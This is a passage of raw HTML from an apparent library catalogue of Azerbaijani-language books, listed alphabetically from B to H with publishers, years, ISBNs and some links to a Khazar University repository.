..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1195\"><strong>Bəşirov, İ. Şirkətlərarası rəqabət.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2010. ISBN:</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Birləşmiş Millətlər Təşkilatının Qaçqınlar üzrə Ali Komissarlığının vəzifələrinə ümumi baxış. Bakı:&nbsp;Azərbaycan gənc hüquqşünaslar birliyi, 2005. ISBN: 9952408059</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Birləşmiş Millətlər Təşkilatının Qaçqınlar üzrə ali kommisiyasınin nizamnaməsi. Bakı:&nbsp; Azərbaycan&nbsp;gənc hüquqşünaslar birliyi. ISBN: 9952408048</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Birləşmiş Millətlər Təşkilatının konvensiyaları. Bakı: “Sipər” Hüquq Mərkəzi, 2004. ISBN: 9952805403</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Borçalı, Y. Fani dünya. Bakı: Steyk mətbəəsi, 2002. ISBN: 9952800606</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Braun, D. Davinci şifrəsi. Bakı: Qanun, ISBN: 9789952262834</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Büdcə bələdçisi. Bakı, Elm və həyat, 2003. ISBN: 9952802900</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Büdcə terminləri izahlı lüğət. Bakı: “Ekspert” jurnalı, 2003. ISBN: 9952803125</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Büdcə və təhsil. Bakı: “Ekspert” jurnalı, 2005. ISBN: 995280315X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Büdcə-vergi sferasında şəffaflıgın təmin olunması üzrə tövsiyə. Bakı: CBS polygraphic production, 2005. ISBN: 995280753X</p><hr noshade=\"noshade\"><strong>C</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cahangirli, H. Azərbaycan-Türkiyə. Bakı: Çaşıoğlu, 2004. ISBN: 9952270275</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cahangirli, H. Müasir Dövrdə Azərbaycan Türkiyə Münasibətləri. Bakı: Araz, 2006. ISBN: 9952800185</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Caves, R. Transmilli müəssisə və iqtisadi təhlil. Bakı: “Ekspert” jurnalı, 2005. ISBN: 9952803168</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəbr və analizin başlanğıcı. IX sinif ( Məsələ və misallar həlli ilə). Bakı: Ocaq, 2005. ISBN 9952415060</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəbr: VIII sinif ( Məsələ və misallar həlli ilə). Bakı: Ocaq, 2005. ISBN: 9952415079</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərquliyev, M. Azərbaycan Respublikasının cinayət prosesi. Bakı: Yeni kitab evi,&nbsp;ISBN: 9952260059</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərli, M. Azərbaycan legion ədəbiyyatı. Bakı: Qapp-Poliqraf, 2005. ISBN: 9952806906</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərov, İ. Yetkinlik yaşına çatmayanların işləri və hüquqlarının müdafiəsi üzrə komissiyalar&nbsp;haqqında\" əsasnamənin kommentariyası. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2003.&nbsp;ISBN: 9952408016</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərov, N. Azərbaycan: Heydər Əliyevdən İlham Əliyevə. Bakı: Çaşıoğlu, 2004.&nbsp;ISBN: 9952270224</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cohen, B. Pulun coğrafiyası. Bakı: Məmmədli şirkəti, 2003. ISBN: 995240008X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Corc Vaşinqton. Bakı: Yeni Nəsil, 2001. ISBN: 9952240074</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cuisine Nationale Azerbaidjanaise. Baku: Nurlan, 2006. ISBN: 9952809131</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çamuroğlu, R. İsmayıl. Bakı: Qanun, 2012. ISBN: 9789952263053</p><hr noshade=\"noshade\"><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>D</strong></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Demokratiya vətəndaş cəmiyyəti QHT dünyası. Bakı: Üçüncü sektor Jurnalı, 2002. ISBN: 995280170Х</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dilbaz atı. Bakı, 2005. ISBN: 9952806507</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dildən-dilə, eldən-elə, 2006-McCann Erickson. Bakı:&nbsp; ISBN: 9952800649</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Diplomatiya və hüquq 1. Bakı: ISBN: 9952808605</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Diplomatiya və hüquq 2. Bakı: ISBN: 9952808636</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Diplomatiya və hüquq 3. Bakı: ISBN: 9952808612</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Diplomatiya və hüquq 4. Bakı: ISBN: 9952808629</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dostiyev, T. Köməkçi tarixi fənlər. Bakı: Xəzər Universitəsi, 2001. ISBN: 995220003Х</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dövlət Büdcəsi - Səhiyyə xərcləri. Bakı: CBS polygraphic production, 2005. ISBN: 9952803133</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Draker, P. Mənfəət güdməyən təşkilatların idarə edilməsi. Bakı: Nurlar, 2003.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952403429</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dünyamalıyeva, S. Azərbaycan geyim mədəniyyəti tarixi. Bakı: Nağıl evi, 2003.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952210140</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dünya ilə bir canıq. Bakı: Nurlan, 2006. ISBN: 9952800177</p><hr noshade=\"noshade\">&nbsp;<strong>E</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ekoenergetika 1-2004. ISBN: 9952805500</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1159/1/page%201last.pdf\"><strong>Ekoloji epidemiologiya : səhiyyədə tətbiqi və tədqiqat metodları.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2003. ISBN: 995220017X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elatlı, E. Axtar məni. Bakı: Elm, 2005. ISBN: 9952290233</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elatlı, E. O gecə yağış yağırdı. Bakı: Xəzər Universitəsi, 2005. ISBN: 995220241</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Eldən Gələn oğul. Bakı: ISBN: 9952408136</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elgün, E. Zirvəyə aparan yol. Bakı: Elm, 2003. ISBN: 9952290217</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elm və texnika inkişaf tarixi. Bakı: Ayna Mətbuat Evi, 2001. ISBN: 9952230060</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1651/1/ELM%20ve%20SANAT%20book%201%20yeni.pdf\"><strong>Elm və sənət məclisi 1-10.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2008. ISBN: 9789952200461</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1650\"><strong>Elm və sənət məclisi 11-20.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2011. ISBN: 9789952200652</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elmi əsərlər: elmi-nəzəri və ictimai-siyasi jurnal.№1-2. Bakı: AMEA Fəlsəfə, 2005. ISBN: 9952428030</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elmin üç zirvəsi. Bakı: &nbsp;ISBN: 9952800665</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">English-Russian-Turkish-Azerbaijani dictionary of law terms. Bakı: Nurlar, 2004.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952403356</p><hr noshade=\"noshade\"><strong>Ə</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əbülhəsən. Povestlər və hekayələr. Bakı: El-Alliance, 2006. ISBN: 9952810158</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əfəndioğlu, H. Yurd həsrəti. Bakı: Yeni Nəsil, 2002. ISBN: 9952240112</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əfəndiyev, İ. Üçlü Silah. Bakı : Qafqaz Universiteti, 2006. ISBN: 9952250339</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əhmədov, Ə. Maliyyə və birja Terminləri lüğəti. Bakı, Naksyana, 2006. ISBN: 9952809050</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əhmədov, İ. İqtisadiyyat: maliyyə üzərində qurulmuş dünya. Bakı: Ayna Mətbuat Evi, 2002. ISBN: 9952230125</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əhmədov, İ. Real iqtisadiyyat. Bakı: Ayna Mətbuat Evi, 2004. ISBN: 9952230168</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əhmədov, Y. Topxana meşəsində görüş. Bakı: Planet-Press, 2006. ISBN: 9952800681</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əkbərov, R. Azərbaycanın dövlət və hüquq tarixi. Bakı: Hüquq ədəbiyyatı, 2001.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952404006</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əkbərov, М. Riyaziyyat nədir?. Bakı: Nurlar, 2003. ISBN: 9952403161</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ələkbərov, U. Ekologiya: dünyamızın buğünu və sabahı. Bakı: Ayna Mətbuat Evi, 2000. ISBN: 9952230028</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1069/1/Qacaq%20Isaxan%20dastani.pdf\"><strong>Ələmpaşalı, Z. Qaçaq İsaxan dastanı.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2008. ISBN: 9789952200560</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1063/1/Qacaq%20Mahmud.pdf\"><strong>Ələmpaşalı, Z. Qaçaq Mahmud dastanı.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2008. ISBN: 9789952200577</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əlibəyli, E. Azərbaycan televiziyası. Bakı: El-Alliance, 2005. ISBN: 9952290586</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, Ə. Beynəlxalq turizm hüququ. Bakı: NAT MMC, 2011. ISBN: 9789952803914</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, İ. Qeyri-kommersiya hüququ üzrə praktikum. Bakı: Patronat-S şirkəti, 2004.&nbsp;ISBN: 9952409101</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, M. Dövlət qulluqçularının pensiya təminatı haqqında Azərbaycan Respublikası qanununun&nbsp;kommentariyası. Bakı: Bakı Universiteti, 2005. ISBN: 9952428009</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, R. Din: əxlaqa aparan yol. Bakı: Ayna Mətbuat Evi, 2004. ISBN: 995223015X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyeva, R. Azərbaycan toponimləri. Bakı: &nbsp;2002. ISBN: 9952220077</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyeva, R. Zaqatalanın tarixi memarlıq irsi. Bakı:&nbsp; Qəsr, 2012. ISBN: 9789952807417</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ərdəbil livasının müfəssəl dəftəri. Bakı: Nurlan, 2004. ISBN: 9952420012</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1675\"><strong>Əsədov, Ç.&nbsp; Azərbaycanda leykozların epidemiologiyası.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2012. ISBN: 9789952200737</p><hr noshade=\"noshade\"><strong>F</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong>Fəhmi, İ. Akvarium. Bakı: Qanun, 2012.&nbsp; ISBN: 9789952262537</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fəlsəfə elmi-nəzəri jurnal № 1. Bakı: AMEA Fəlsəfə, 2005. ISBN: 9952428022</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fərəcullayeva, M. Ulduzlar: elm və əfsanələr. Bakı: Ayna Mətbuat Evi, 2001. ISBN 9952230036</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fizika: ümümtəhsil məktəblərinin 7-ci sinfi üçün dərslik. Bakı: Bakı nəşr, 2003.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952801432</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fizika: ümümtəhsil məktəblərinin 8-ci sinfi üçün dərslik. Bakı: Bakı nəşr, 2003.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952801440</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Freyd, Z. Totem və Tabu. Bakı: Qanun, 2012. &nbsp;ISBN: 9789952262995</p><hr noshade=\"noshade\"><strong>G</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong>Gənc hüquqşunas: ictimai—hüquq jurnalı. .№9-10. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2005. ISBN: 9952408080</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№13. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2005. ISBN: 9952408180</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№14. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2006. ISBN: 995240820X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№15. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2006. ISBN: 9952408218</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№16. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2006. ISBN: 9952408226</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№17. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2006. ISBN: 9952408234</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№18. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2006. ISBN: 9952408242</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№19. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2006. ISBN: 9952408250</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc vətəndaşın pasportu. Bakı: Məmmədli şirkəti, 2000. ISBN: 9952400012</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Global political economy: contemporary theories. Bakı: Məmmədli şirkəti, 2000.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952400071</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Görkəmli insanların həyatı: tərcümeyi hal davam edir. Bakı: AMAA, 2006. ISBN: 9952800132; ISBN: 9952800135</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gündüz, O. İnternet: Azərbaycan İnternet resursları. Bakı: STT company, 2004.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952804334</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Güneyli, S. Təbriz. Bakı: Mingəçevir işıqları, 2004. ISBN: 9952804709</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Güngör, L. Qloballaşma şəraitində xarici investisiyalar. Bakı: Nafta-Press, 2005.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 995280590X</p><hr noshade=\"noshade\"><strong>H</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hajibayov, U. Mashadi Ibad (If not that one, it to be this one) -a musical comedy in 4 acts. Baku: \"Kitab Klubu\" Ltd, 2005. ISBN: 9952290101</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hamlet İsaxanlı : Biblioqrafiya. Alim, Qurucu, Şair. Bakı: Xəzər Universitəsi, 2010. ISBN: 9789952200485</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Harvey, J. Müasir Ekonomiks. Bakı: Məmmədli şirkəti, 2001. ISBN: 9952400063</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hayek, F Hüquq, qanunvericilik və azadlıq. Bakı: Qanun, 2002. ISBN: 9952260016 (cild 1) 9952260024 (cild 2), 9952260032 (cild 3)</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Heydər Əliyev və şərq. Bakı: Çaşıoğlu, 2003. ISBN: 9952270100</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Held of azerbaijan Young lawyers\' union as an implementing partner - February 18, 2005. ISBN: 9952408099</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Held of azerbaijan Young lawyers\' union with the finansical assistance of usaid through eurasia foundation - March 29, 2005. ISBN: 9952408102</p><p 